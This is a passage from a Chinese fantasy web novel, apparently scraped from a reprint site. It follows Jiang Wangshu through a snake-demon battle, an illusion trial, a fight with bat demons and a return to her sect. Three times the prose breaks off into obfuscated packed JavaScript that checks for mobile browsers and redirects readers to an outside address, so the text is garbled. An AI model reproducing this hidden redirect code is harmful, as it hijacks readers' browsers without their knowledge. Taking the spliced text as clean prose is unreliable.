沈墨尘有些担忧道:“这洞穴建的错综复杂,看来我们要准备好打持久战的可能性。” 姜望舒摇了摇头,说道:“不用我们去找,那蛇妖会自己出现的。” 虽然不明白为什么姜望舒会那么肯定,但她的神态镇定,其余人真就决定不再乱走,默默在原地等待。 果然,十分钟不到,前面的洞穴传来巨大的怒吼,一条黑色巨蛇速度极快地窜了过来,黑色的尾巴狠狠甩了过来,几人闪身躲过了它的攻击,刚刚被它尾巴扫过的地方不断落下碎石。 这条蛇妖的头颅巨大,高高昂起,一双狭长的竖瞳闪烁着凶狠的光芒,宛如两团燃烧着的幽绿火焰。它盘踞着身子,黑得发亮的鳞片在微弱的光线中闪烁着诡异的光泽。 “区区几个人类,是来找死?”蛇妖有些不屑地看着几人,只是当看到祁辰的时候,它嚣张的气焰明显被浇灭,眼神很快转移到几个捉妖师身上。 沈墨尘站了出来,挡在几人身前,拿出了自己的佩剑,喝道:“蛇妖,你作恶多端,食人骨肉以修炼,早已破坏了当年妖族和人类签订的停战协议,我们今天就是来收了你的。” 蛇妖打量了沈墨尘一会,竖瞳中充满了不屑,发起了进攻,被前面的沈墨尘一一挡下,还硬生生挨了他们的几下攻击。 突然,它张狂地笑了起来,道:“你们几个人类算是捉妖师里面有本事的,只是可惜,遇上了我。” 沈墨尘正想刺向蛇妖,却突然发现自己的手开始抖动,内力尽无。他的脸色顿时难看起来:“是毒,不可能,什么时候?” 他们在进入洞口前服用的丹药就是阴月派特制的,可解百毒,更何况一路上他并无被蛇咬中,怎么会中毒呢? 苏常也觉得浑身无力,直接跪倒在上。只有苏萱、姜望舒和祁辰没有异样。 苏萱沉默片刻,突然反应过来,说道:“我知道了!不是毒,所以解毒丹无用,这是一种麻醉物质!这里这么潮湿,麻醉物质应该是挥发到了空气中,被沈公子和苏常吸入了。” “没想到你这个小捉妖师还算聪明,但已经晚了,那两个已经失去行动能力了,现在这种情况跟死了也没什么区别。” 是啊,虽然这药并不致死,只是让他们不能动弹,但这种情况下中招,就像砧板上的鱼肉。 苏萱是因为体质特殊,她自小就尝试过各种毒药,这些含量的麻醉还不足以让她不能动弹,尽管不知道为什么姜望舒和祁辰也丝毫不受影响,但现在他们很明显处于被动,苏萱也没有精力考虑到那么多。 其实,蛇妖是不相信祁辰会出手救他们的,毕竟他们都是妖,而祁辰的确如他所料,只是静静站在那里没有动作。 姜望舒也有惊讶于自己居然没事,她向紧张的苏萱传递了一个安抚的眼神,说道:“没事,它已经受伤了,实在打不过,我也有办法带我们一起走。” 最下下签的办法就是,她直接躲到祁辰后面呗,充分利用这尊大佛。 在姜望舒的安慰下,苏萱也很快镇定下来,整理好情绪后,她下手越来越稳,根根毒针射向蛇妖,那针也不知是什么做的,竟然能够穿透蛇妖漆黑的鳞片,扎了进去,黑色的血从鳞片的缝隙中渗出。 姜望舒早就拿出了武器长鞭,手腕灵活转动,发力恰到好处,长鞭如同离弦之箭飞速甩出,鞭身在空中划出一道道完美的弧线,每一次都精准打到蛇妖的身上。 在蛇妖抬头想要施展法力的时候,姜望舒猛地一挥长鞭,雷霆般狠狠抽向它,强大的力量让她整个人倒飞出去,踉跄了几下后稳住了身形。 祁辰也象征性地扇了几下法力,只是威力甚小,绿色的光芒刚碰到蛇妖就“啪”地破碎了。 姜望舒眼尖地注意到了他的随意,没忍住嘴角抽了抽。 大哥,你好歹脚步挪动挪动,再装的急切一些啊! 在这种轮番轰炸下,蛇妖的进攻明显缓慢了下来,突然,它向后窜去,姜望舒以为它要逃跑,没想到它转头吐出了一团黑雾,她和苏萱躲闪不及,被黑雾笼罩在内。 姜望舒只觉得眼前一黑,头也有些晕,再睁眼时,自己居然已经回到了连云峰。正值秋天,树叶逐渐变黄、变红,从山顶到山脚,红、黄、绿交织在一起,构成了一幅绚丽多彩的画卷。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143786|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >山风吹过,落叶纷纷扬扬地飘落下来,轻轻地落在地上,铺成了一条金色的小路。路的尽头正是那扇眼熟摇摇欲坠的大门,牌匾上写着“流云派”几个大字。 这是……幻境? 她谨慎地向前走去,推开了大门,一股浓郁的桂花香气扑面而来,师兄师姐们都在院子里忙活着。 顾璟动作不甚熟练地将采摘的桂花放在竹筛上,轻轻地抖动,金黄的花瓣在阳光下闪闪发光。云舒把桂花倒入一个大盆中,向里面加清水,细细淘洗,动作轻柔。 慕宇轩正在将白糖缓缓地倒入糯米粉中,一边倒一边用筷子搅拌,随着搅拌,白糖逐渐融入糯米粉,形成粉末混合物。他嘴里还嘟囔着:“就这些糖够吗?” 苏梓拿出木质模具,正在模具内壁均匀地刷上一层薄薄的食用油,这样做出的桂花糕不仅容易脱模,还能带着木质的淡淡清香。 还是顾璟最先发现姜望舒回来,笑道:“小五,怎么样,打到野味了没?师父们今天回来,我们做一些桂花糕,晚上吃大餐。” 姜望舒轻叹一口气,这幻境还真是勾起了她最美好的向往,只是她内心到底是还是难以放下自己的亲生父母,即便她到这以来对于以前的生活已经感到模糊不清了,她还是想要回家。 顾璟却以为姜望舒是在因为没有打到猎物感到沮丧,放下手里的竹筛,推了推还在颤抖着手加糖的慕宇轩,道:“没打到野物没事,让你二师兄去,他跑的比兔子快多了,一抓一个准,定不会空手而归。” 突然被点到名字的慕宇轩惨叫一声,抖得跟帕金森一样的手终于还是把半罐子的白糖都倒了进去:“大师兄!完了!糖加多了!啊?什么打猎?哦哦!行,没问题,包在我身上!” 姜望舒走到几人中间,撸了撸衣袖,问道:“师兄师姐们,我可以帮什么忙吗?” 她刚想搅拌面粉,却被苏梓阻止了。 苏梓示意姜望舒到后院去,一脸神秘道:“小五,这里不用你帮忙,有人在后院等着你呢!” 莫名的,姜望舒的心脏剧烈跳动起来,她的脚步不自觉地放慢了,连带着手心都有些汗湿。 桂花飘落,一个男人正坐在石凳上,依旧是那副任君采颉的横陈模样,只是此刻眼眸深邃漆黑,藏了一点细碎温暖的光,温柔地注视着她。他的右手还拿着茶杯,正升腾着奶白色的热气。 那个人正是祁辰。 尽管姜望舒明白一切都是幻境,甚至是荒谬,一切的一切都显得荒诞无厘头。她与祁辰也不过才相识几日,可能连朋友都算不上, 可是,她的心跳如鼓点般急促,心中涌起一种奇妙的感觉,如同一只大网将她牢牢捆住,不能动弹分毫。 一个声音在她的脑海中不断响起:这不正是你最渴望的吗?这就是你最渴望的事情,你最期盼的事情。沉浸在这里吧,难道你舍得亲手打碎这一切吗? 泪,盛睫。小小的,细碎的,飘零着未知的情愫。 姜望舒惊讶地摸了摸脸颊,发现不知何时自己早就已经泪流满面。 祁辰正一步一步地走向她,他想要伸手拉住她,却被轻易躲开了。 9. 京城捉妖师大赛(九) 姜望舒的心脏在抽痛,让她不得不用手死死抓住自己胸前的衣服,才能稍稍缓解,但她面上却嗤笑了一声,轻蔑道:“怎么?你是觉得我和祁辰有多情深意重吗?” 一字一顿,说得格外艰难,每个音节都如同一把锤子敲打在她的心脏上,让她一度觉得就算立刻死亡也不过如此。 她随即腾空跃起,跳到了屋顶,将爆破符叠加了十张扔了下去。顿时,一阵巨大的响声传来,火光冲天,一切都被打破了。 空间开始剧烈抖动,姜望舒只觉得头晕目眩,闭目之前,她好像听到远处传来一声怒吼。再次睁眼,她身处在一个阴暗的地方,四周都是灰色的围墙,没有窗户和门。 闭塞的空间让每个角落都弥漫着压力、压抑与沉默,可和刚刚的心痛相比这已经不算什么了。 姜望舒静静地等待着,手缓缓摸到了自己心脏的位置,表情还有些失神,到底为什么,她会如此生不如死,是因为蛇妖的幻境能够放大她的情绪吗? 可惜,幻境并没有给她太多缓冲的时间,四周突然出现了无数把长鞭,似乎在空中停滞了几秒,随后发了疯似地向她抽来,又快又狠,带出一连串的残影。 她没有办法,只能不断地闪躲,好在流云派每日的体能训练让她撑到现在。但她到底是凡人之躯,不是不会感到疲惫的机器,期间也挨了好几鞭。 她也不是没有尝试过反击,可这些鞭子都是漂浮在空中的,就算击落了也会很快升起,反倒浪费了更多体力。 姜望舒心中自嘲:让你每次都用长鞭攻击别人,现在好了,轮到自己挨抽了。 在这里,时间变得粘稠起来,像是一潭无法摆脱的泥沼,让人深陷其中,无法挣脱,也感觉不到它的流逝。 良久,蛇妖似乎是觉得这样做太拖延时间,无法将她击倒,于是空中的鞭子都停下了动作,化成烟尘消失不见。 姜望舒感到自己在向上升,眼前模糊了一瞬,还是紧密的灰色围墙。只是,她的双手居然被粗壮的铁链紧紧地束缚住了,并且牢牢地固定在一个位置,以至于她整个人不能动弹分毫。 她简直想要爆粗口了,真的很想怒骂蛇妖一句:你玩不起是不是!啊? 姜·心灰意冷·望舒在尝试无法挣脱铁链后,干脆直接将全身的重量都放在了胳膊上,秉承着能坐着绝不站着的信念,半跪在地上。 这次,空中居然出现了无数把利剑,长的、短的、细的、宽的,各式各样都有。 一股不好的预感涌上心头,果不其然,下一刻,这些剑都朝姜望舒刺来,他们还是按照不同的顺序冲过来的。 第一把刺在左肩……第二把刺在胸口……第三把刺进了大腿……第四把…… 好痛…… …… …… 她是不是要死了,心脏处由于第一层幻境还在隐隐作痛,而现在□□上也承受着折磨,她还能有命回家吗? 意识好像变得模糊起来,姜望舒感到身体越来越冷,眼皮也变得沉重起来,就在她以为自己今天就要葬送于此时,灰色的外墙破了一个大洞,刺眼的阳光照了进来,照在她有些苍白的脸庞上。 随后,“咔嚓”的破裂声不断传来,整个空间都在一点点崩塌。 幻境中的姜望舒也终是力竭,晕了过去。 耳边是痛苦的惨叫,姜望舒再次睁开眼睛,入目是一个高大修长的身影背对着他。 祁辰正站在她的前方,而那条蛇妖此刻正被一把利剑钉在岩石上,痛苦的呻吟着。 苏萱和其他几人都陷入了昏迷未醒。 “你身为妖王!你难道要帮着人类来对付你的同类吗?” 祁辰冷笑了一声,说道:“对付你?只是顺手的事情罢了,别以为你做的那些事情妖族这边不清楚,你以为就算我不杀你,你们蛇族的首领就会放过你吗?刚刚只是给你时间,让你的那些族人逃跑罢了。” 说完,又是一剑刺入蛇妖的身体:“既然喜欢用剑,就还给你好了,就你?怎配与本王称为同类?” 话音刚落,蛇妖的头颅就被那把利剑斩下,滚落在地,它的身体很快化为一缕黑烟消散,一枚妖丹缓缓浮现,飞到祁辰的手里。 除天赋奇高或血统高贵的妖外,只有百年以上的妖才能够修炼出妖丹,且大多数妖怪在死亡前都会自毁妖丹,只因其凝聚着妖怪的毕生修为,所以此物可谓是极为难得的。 祁辰勾了勾嘴角,带着几分慵懒,冲姜望舒挑了挑眉,将蛇妖的妖丹交予姜望舒,目光注视着她,薄唇微张,身影渐渐变得透明,最后消失在原地。 可姜望舒却看懂了。 他在说:后会有期。 祁辰消失后,苏萱猛地苏醒了过来,她的脸色十分难看,立刻将身旁的苏常拍醒,匆匆和姜望舒告别,甚至来不及等到沈墨尘醒过来,拉着弟弟抬脚就要离开。 苏常也是刚醒,挺懵的,不知道姐姐为何如此大惊失色,但他是最了解姐姐的人,往日,无论遇到什么情况,苏萱都是一副游刃有余的样子,这还是第一次如此惊慌失措,所以也不敢耽搁跟着离开。 姜望舒定了定心神,将还躺在地上昏迷的沈墨尘大力摇醒,与他讲述了事情的经过,只是有意省去了和祁辰相关的事情。 她直觉,如果将他妖王的身份说出来,会带来很多麻烦,更何况,他看起来并无坏心。 “比赛的时间还未到,既然如此,不如我们接着同行吧。”沈墨尘提议。 “好啊。” 姜望舒给沈墨尘也贴上了一张隐身符,一整日,二人在外围没有碰到一只妖怪。 傍晚时分,森林被一层柔和的金色余晖所笼罩,阳光透过稀疏的树叶缝隙,洒下斑驳的光影,为这片静谧的森林增添了一份神秘与宁静。 远处的山峦在夕阳的映照下,轮廓变得柔和而温暖,仿佛是一幅淡淡的水墨画,山间的雾气开始缓缓升起,轻柔地环绕在树梢之间,整个森林都有种朦胧的美感。 姜望舒和沈墨尘刚刚升起了篝火,二人拿出了背包中的干粮吃了起来。 突然,一阵嘈杂从远处传来,姜望舒和沈墨尘的动作皆是一顿,只因二人听出了熟悉的声音——苏梓。 姜望舒和他互相对视一眼,丢下了篝火向声音的源头赶去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143787|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 眼前的景象让姜望舒不由得倒吸一口凉气,只见一群黑色的蝙蝠正在围攻地面上的两人。 在纷乱扑腾的蝙蝠群中,姜望舒看清了那两人中的一个正是苏梓,此刻,她正艰难的支撑起一个防护罩,抵挡着这群蝙蝠妖的进攻,只是那防护罩的光芒变得越来越微弱。 苏梓身边是一个面目清秀的男捉妖师,正急得走来走去,不断挥舞着手中的长剑想要将空中的蝙蝠击落。 蝙蝠的动作很迅速,每当他的剑刚刚要碰到它们时,它们就会猛地飞到空中,然后又飞到他的附近,就像在戏耍他一样。 姜望舒和沈墨尘的面色都变得有些凝重起来,虽然蝙蝠的攻击力不强,但这群蝙蝠的数量极多,并且天已经要黑了,在夜晚,他们的视线会受到影响,更难以看清与夜色融为一体的蝙蝠。 他们四人对上,很难全身而退。 姜望舒示意沈墨尘先不要急,随后拿出了一叠符纸,这都是她这几天琢磨出的最新款。 “我有办法,你在这里不要动,一会儿看到我和三师姐他们奔过来的时候,就赶紧把架起保护罩,然后把这个符贴到身上,拉住我们中的任意一人,记住,千万不要拉衣袖。” 沈墨尘有些担忧,但一想到她和苏萱、祁辰能够击杀百年老妖,还是选择相信她。 姜望舒不敢耽搁,猛地冲向苏梓,闪身进到了苏梓的保护罩内。 苏梓的眼睛先是一亮,似惊喜于能遇到小师妹,但很快反应过来,眉毛一竖,怒道:“姜望舒!你进来干什么,你知不知多危险?” “三师姐,若今日被蝙蝠妖围攻的是我,难道你会袖手旁观吗?” 苏梓被堵的哑口无言,只因他们都明白,流云派弟子之间绝不会放弃任何一个人! 姜望舒递给那个男捉妖师一张符箓,告诉他一会将符贴到身上,并且一定要拉紧她,然后拉住了苏梓的手,冲男子喊道:“就是现在,快贴!” 话音刚落,她就在自己身上贴了一张,如同离弦的箭一般直冲向沈墨尘,那名男捉妖师也立刻跟上她的动作,但晚了一瞬,只来得及拉住苏梓的手腕。 沈墨尘早就在原地准备好了,姜望舒刚有所动作,他就释放内力建起了防护罩,也在自己的身上贴上了符纸,但也只来的及抓住男捉妖师的手腕。 他们四个速度快得只能看到一长条的残影,蝙蝠群甚至都没有反应过来,几人就冲没影了。 “小——五——我们跑的好快啊——太酷了!” “姜妹妹——我们已经脱离危险了,该怎么停下来啊——”队伍最末的沈墨尘生怕姜望舒听不到,扯着嗓子喊着。 姜望舒的眼睛都要睁不开了,勉强看着前面的路不至于撞到树上,艰难回应道:“我——也——不——知——道——这是我第一次尝试这个新符咒。” 她只能尽量控制着自己不要撞到树上,期间他们还碰到了几个不知道是哪个门派的弟子。 那些捉妖师都被吓得大惊失色,不知道这是何物,毕竟速度太快了,虽然能勉强看出人形,只是什么人能长得又高又矮的,而且还很长一串? 10. 京城捉妖师大赛(十) “呕~”“呜呕~”“哇~” 过了许久,姜望舒她们总算是停了下来,大家都呕吐不止,个个样子狼狈不堪。 最惨的还是沈墨尘,此刻的他哪还有之前那副贵气的模样,收服蛇妖后换上的新衣衫又溅上了泥点子,原本精致的白色长袍也被撕扯出几道裂痕,这是刚刚姜望舒一个“神龙摆尾”后,被树枝刮蹭的。 姜望舒晃了晃脑袋道:“不好意思啊各位,我这极速符好像不小心用力过猛了,下次我改良改良,一定又舒适又快速。” 累倒是不累,毕竟他们轻轻迈出去一步,实际上是窜出去几米,就是太晕了。 “无妨,小五!我倒觉得你研制的这个也太酷了!好玩!回头教教我!”苏梓位于队伍的中间,前有小五挡风,后有沈墨尘“甩尾”,所以还算安然无恙。 说罢,她还帮忙整理了一下姜望舒被风吹乱的头发。 这也就是为什么姜望舒没有给她贴极速符,她担心苏梓玩心大发,停不下来,不知道会冲到哪里去,万一直接跑进森林深处就麻烦了。 直到此刻,姜望舒才注意到那名男捉妖师还下意识地抓着苏梓的手腕没有松开,他的脸色同样很苍白,显然是还没有回过神来的样子。 她再一转头却见沈墨尘正目光灼灼地盯着他的手,连净身咒都没施,看得苏梓直觉的手腕一热,那名男捉妖师也才缓过了,立马松开了手道歉。 “诸位好,程某来自半纱派,偶然和苏姑娘遇见,便一路同行了,不料竟然遇到蝙蝠妖群,刚刚多谢!” 姜望舒摆摆手,说道:“不必客气,只是……” 话音未落,她突然抬手向程呈的身后打出一道法力,一个黑色的蝙蝠瞬间掉落到了地上,原来是其中一只蝙蝠被他们跑动卷起的气流带了过来…… 姜望舒突然想起从祁辰那得到的摄魂铃,她尝试向铃铛中注入些许内力,心念一动,朝着晕过去蝙蝠轻轻摇动。 瓷器铃铛发出的声音清脆而空灵,带着一丝禅意,“叮叮当当”的声响,让人心神也不禁宁静下来。 伴随着铃铛的晃动,地上的蝙蝠妖居然直立站了起来,一动不动,如同被控制的木偶般,呆愣地看着他们。 突然,姜望舒的手腕一转,铃铛相互碰撞,发出“叮叮当当”的嘈杂声,这声音失去了节奏和美感,变得刺耳而混乱,好像一群失控的麻雀在争吵,让人心生燥意。 只见蝙蝠妖在众人惊讶的目光中瞬间爆裂开来,连个尸体都没有保留下来,很快化成一缕黑烟消散在空气中。 不止是沈墨尘等人感到惊讶,不过几人都默契地保持沉默,没有人询问她这法器的来历,就连姜望舒自己也吓了一跳,她只向铃铛内注入了一成不到的内力,就有这样的威力。 蓦地,她想到声音的攻击是范围性的,用于对付多个妖怪是最好的。 “各位,我想去把刚刚那群蝙蝠妖给收了。”姜望舒抬头提议道。 程呈婉拒了,他好不容易才逃出来,才不要再回去,他与几人道别后就离开了。 苏梓倒是没有什么异议,小师妹既然想去必定是有原因的,她陪着去就好。 沈墨尘对此也表示赞同,且不说因为苏梓也要去他放心不下,就是放任一大群妖怪到处乱跑,也是很危险的事情。 “蝙蝠妖一般只在夜间出没,今日我们就暂且原地休整,明日再去会会那群蝙蝠妖。只是,我们须得想好应对之策。” 姜望舒笑得乖巧说:“我已经想好了,你们来听听看这样可不可以。” 夜幕低垂,黑色天鹅绒般的幕布将大地紧紧包裹。森林外围的夜晚寂静,姜望舒等人坐在一片开阔的空地上闲聊,中间的篝火正熊熊燃烧着,发出噼里啪啦的声响。 “沈公子,上次在城内多谢你的帮忙,狐狸具有灵性,是最容易开灵智的。我把上次的狐狸吊坠改造成了两枚袖针,可以提前向内储存法力,需要的时候可以补充回体内,相当于可以迅速恢复法力的丹药,这个给你,另一枚给小五。” 两枚小巧粉嫩的袖针出现在她的手掌心。 姜望舒连忙摆摆手,亮晶晶的眼睛滴溜溜地在二人之间转来转去:“三师姐,我不要,你们两人各一枚吧!” 火光映红了沈墨尘和苏梓的脸庞,将他们的轮廓勾勒得清晰而生动,他们的身影在火光的映照下拉长,又随着火焰的摇曳而晃动。 意识到苏梓有些窘迫,沈墨尘安抚地拍了拍她的肩膀,道:“那就多谢苏姑娘了,我很欢喜。” 说罢,他伸手想要接过袖针,却被苏梓躲了回去。 “苏姑娘?”沈墨尘以为苏梓不悦了,侧头看去,发现她面色如常,稍稍安心了些。 苏梓居然直接拉过沈墨尘的衣袖,低头细细帮他带上,声音欢快道:“我没事,只是担心你会介意。” “我……我当然不会介意。” 姜望舒的嘴角已经要飞到空中追逐天上的月亮了,眼见两人之间的氛围越来越好,她觉得自己的牙甜的有些发疼。 残存的理智让她适时打断,问沈墨尘:“对了,我记得当时你还特意询问是谁重金买走那几只小狐妖的,按理说,虽然皇族并不推崇买卖交易妖族,但这种事情并不少见,毕竟其中能够获利很多,只是为什么当时你的表情如此严肃,好像是真的很想要知道到底是谁要买走这些妖怪的?” 沈墨尘沉默片刻,有些无奈道:“你确实很敏锐。最近一段时间,市场上流通的妖怪被同一伙人大量买走。同时,我的师父,也就是青天派目前的掌门,察觉到阴月派内部可能出现了一些问题。” 苏梓很快明白了他的意思,犀利地指出:“所以,你们怀疑此事是阴月派所为?” 沈墨尘保持沉默,但也没有否认。 “可是他们突然收集这么多妖怪是要做什么呢?” 没有人回答这个问题。 之后,苏梓又像是变戏法一般,又拿出来了一枚袖针赠予 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143788|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜望舒,这枚虽然不及狐狸吊坠制成的能够储存更多灵力,但必要时刻还是能够起到作用的。 次日,在苏梓的强烈要求下,他们又贴了一次极速符回到遇到蝙蝠群妖的附近。 苏梓在最前面,中间是姜望舒,沈墨尘又落到了最后,好在这次他提前有所准备,所以没有第一次那么狼狈。 依照姜望舒的计划,她先使用隐身符藏在树上,沈墨尘和苏梓点燃篝火,将死去的蝙蝠妖尸体悬挂在不远处的枝头,以此吸引蝙蝠群妖来。 不出她所料,太阳渐渐西下,远远地传来一阵诡异的嗡嗡声,声音越来越近,随之而来的是一片黑压压的影子,如同一团巨大的黑色旋风,那是蝙蝠群,它们的翅膀快速扇动着,发出“呼呼”的声响,似乎比昨天的数量还要多,好在它们每一只的实力都不强。 沈墨尘在第一时间就释放了防护罩,温润的光泽笼罩在他和苏梓的身上,有了狐狸袖针,他消耗的灵力很快就恢复了,一旁的苏梓将手掌放到了他的后背,不断地为他输送灵力。 此刻,近乎所有的蝙蝠都围绕在沈墨尘的周围。 姜望舒抓住机会,向摄魂铃中注入了近乎全部的灵力,虚脱的感觉让她眼前有些发黑,胃里一阵恶心,不过她不敢耽搁,心念一动,用力晃动手中的摄魂铃。 蕴含着大量灵力的铃铛先是发出沉重的“咚”声,随即“哐啷哐啷”的声音不断传来,杂乱无章,早已没了清脆与和谐,带给人浓浓的烦躁与不安感,就连不是攻击目标的沈墨尘和苏梓都忍不住想要伸手捂住耳朵。 蝙蝠群立刻停滞在了半空中,下一秒,灰飞烟灭。 苏梓惊讶地看着这一幕,她知道小师妹是很强,但只几下就将蝙蝠群尽数消灭,由此可见这件法器的确很强。 是以,比赛也要接近尾声,明日上午开始结算各个队伍的得分情况,光是姜望舒手中的百年妖丹,就足以保证流云派获得前三的地位。 夜晚,他们再次寻了个安全的地方,准备过夜,姜望舒找到一棵大树下,一个飞身跃了上去,倚靠在树干上,闭目休憩。 这一晚,她能感到怀中的蛇妖妖丹在阵阵发热,奇怪的是,她的胸口开始阵阵刺痛,一些片段在她的脑海中快速闪过,但当她想要去看清时,却发现面前是白茫茫的一片。 耳边是哀求声,有人一直在喊着:“不要,不要!” 而后,是长久的抽泣声。 姜望舒感觉自己也在哭,竭力地想让哽咽声停止下来,但却是徒劳无功,就这样沉沦在梦魇之中。 她是被一阵嘈杂声惊醒的,伸手摸了摸脸颊,居然是一片湿润,不知何时,她已泪流满面。 有毒吧!姜望舒暗自嘀咕一声,好像自从进入过蛇妖的幻境之后,她就总会做这样奇怪的梦,而且怀中的妖丹时不时会发烫,她忍不住想要将其拿出来仔细看看到底是什么原因。 但她还没有所动作,接下来看到的一幕让她的太阳穴突突地跳。 11. 京城捉妖师大赛(十一) 沈墨尘正在和一个白发苍苍的老人打得激烈,苏梓被另一个老太太捆着站在一旁。 注意到姜望舒从树枝上跳下来,老太太“哎呦”一声,嘴上大喊着:“这还落了一个,把这个也给绑起来。” 姜望舒扶额,不过还是乖乖地把手伸了过去,被用绳子不松不紧地绑了起来。 在打架的沈墨尘看到姜望舒也被轻易抓住,额头上都冒出了冷汗,奈何眼前的小老头看着脊背佝偻,走路都有些颤颤巍巍,但手中的拐杖打起架来一点都不含糊,又重又准,他根本无法脱身,难缠的很。 “苏梓,姜妹妹,你们能挣脱开绳子吗?快跑!” “你们到底是什么人!为什么要悄悄绑走苏梓!究竟如何混到比赛场区的!” …… “我身上宝贝也不少!有什么想要的来绑我也行!” 姜望舒望向在一旁看戏的苏梓,用眼神询问:这是在闹哪样啊? 苏梓本想摊摊手表示无奈,却想起来自己现在还是“俘虏”呢,手被绑着动不了,于是改成了耸耸肩,小声道:“又演起来了呗,不要打断二老的表演欲,不然小心他们跟你闹。” 沈墨尘也不愧是青天派下一任掌门的候选人,很快,他就占了上风,正当他稍稍放松,准备转头去救苏梓的时候,面前的老头气得胡子都翘起来了,直接把拐杖一收,冷哼一声就要带苏梓和姜望舒离开。 这两位老人,可不正是流云派神龙见首不见尾的师父,他们是一对夫妻,不知道是什么来历,连姓名都未曾向弟子透露过,平日里为了区分,分别称为师父和师娘。 担心沈墨尘真的急坏了,苏梓率先开口道:“你不必担心,这两位其实是我们流云派的师父,此次比赛是我们几个弟子偷溜出来的,现在我们要被抓回去啦!” 师娘瞪了这丫头一眼,总是慈祥笑着的嘴角故意绷的紧紧的,佯怒道:“回去跟你算账。” 得知不是什么坏人,沈墨尘也放下心来,他长久伫立,目送几人离开。 “哎呀,疼疼疼!” 姜望舒和苏梓就这么被扔进流云派的院子里,连手上的绳子都没有被解开。院子里还有三个人,直接被捆成了大粽子扔在角落,低垂着脑袋,是几位师兄们。 师娘一挥手,绑在他们身上的绳子都被解开了,他们几个像是犯了错误的孩子一个个站好。 “好啊你们几个,趁我们不在的时候出了好大的风头!” 姜望舒默默往大师兄身后躲了躲,长而卷的睫毛轻颤,充满期待地看着他。 大师兄,你说句话呀! 顾璟张了张嘴,硬着头皮道:“师父,师娘,你们不要动怒,我们只是在山上待久了,捉妖大会高手云集,想要出去见见世面,历练一下。” 在山上待久了?师父和师娘扫了他们腰间的传送令牌,并不觉得他们真的老老实实地留在连云峰专心修炼,只不过并没有拆穿,也没有没收,只是该有的惩罚还是不能少的。 “姜望舒,苏梓,你俩把我放在你们房间桌子上的口诀抄上一百遍,再和师兄们一起把明天的饭菜做好!”师娘冷飕飕地说着。 师父此刻敲了敲拐杖,气得吹胡子瞪眼道:“云舒也就算了,这两个臭小子还不老实,慕宇轩,顾璟!你们三日后去北部冰川带回几块玄冰,要百年的,找不到就别回来了!” 好家伙,这是直接被流放了啊! 姜望舒瑟瑟发抖,又往顾璟身后躲了躲。 “姜望舒!躲什么呢,今天晚上轮到你和慕宇轩做晚饭,你俩去山里打些野味去。” “好的师娘!” 慕宇轩拉着姜望舒一溜烟地跑到了山后面,速度飞快,能理解他迫不及待逃跑的心情,姜望舒感觉自己正在被一条飞奔的野马拉着,还差点被路上的石子绊到。 “二师兄,我们要打点什么猎物回去啊?” 慕宇轩双手撑着膝盖,大口大口地喘着气,头发被风吹的有些凌乱,脸庞红红的,像是被夕阳染上了最浓烈的色彩。他慢慢地调整了呼吸,拍了拍胸口道:“刚刚真是吓死我了。咱们看看有什么就猎什么,反正这片山上东西不少。” 姜望舒点点头,不过还是没忍住问道:“二师兄,你和大师兄到底干了什么,怎么就被流放到北方冰川那里去了?” 慕宇轩敲了敲她的脑袋,不满地说:“胡说什么呢,我和你大师兄不过是去冰川找玄冰,不过百年玄冰是难找了点,冰川是冷了点,没有什么好吃的,需要自己在冰块上打洞睡觉,再就是危险了点……” 说着说着他的声音越来越低,连带垂头丧气起来,终于妥协般的接受了被流放这个说法。 “其实我们俩也没做什么,就是比赛的时候我、大师兄还有四师弟先遇到了,我们正收妖收得高兴呢,结果师父师娘就来了,我当时抱着大树不肯走,哭得稀里哗啦,后来师父嫌我丢人,直接把我打晕了带回来。” 姜望舒嘴角抽了抽,已经想象到他一把鼻涕一把泪的样子了,如果是她也会尴尬的脚趾抠地。 “那大师兄呢?” “他比我聪明一点,在师父的注意力都在我身上的时候,他想要逃跑,但不幸被师娘发现了,也没能逃跑成功。倒是四师弟没有什么动作,乖乖地被师娘绑着。” 姜望舒摇了摇头,为大师兄和二师兄默哀几秒,看来还是云舒师兄识时务。 不过她还有个疑问,为什么师父不允许他们抛头露面呢,明明他们的实力并不弱,参加比赛也能够锻炼他们的能力,而且他们赢了,师父不应该为此感到高兴吗? 这么想着,她也就问了出来。 没想到慕宇轩忽地凑近了她,小声嘀咕道:“其实除了大师兄是他们的亲孙子外,我们都是被从各处捡来的,包括小五你也是,身世是个谜,我一直怀疑其实自己可能是个什么被追杀大佬的孩子,所以才不能被发现。” …… 原来他们流云派还有个别称:育婴堂,专门捡流落各处的孤儿的。 虽然慕宇轩的猜测听起来很扯淡,但他们的身世的确有待考究。 思及此,她不禁有些想念起自己穿越之前的生活,家里人都待她极好,有求必应,是一个养尊处优的大小姐,只是没想到就算穿越而来,她能如此快速适应这里的环境。 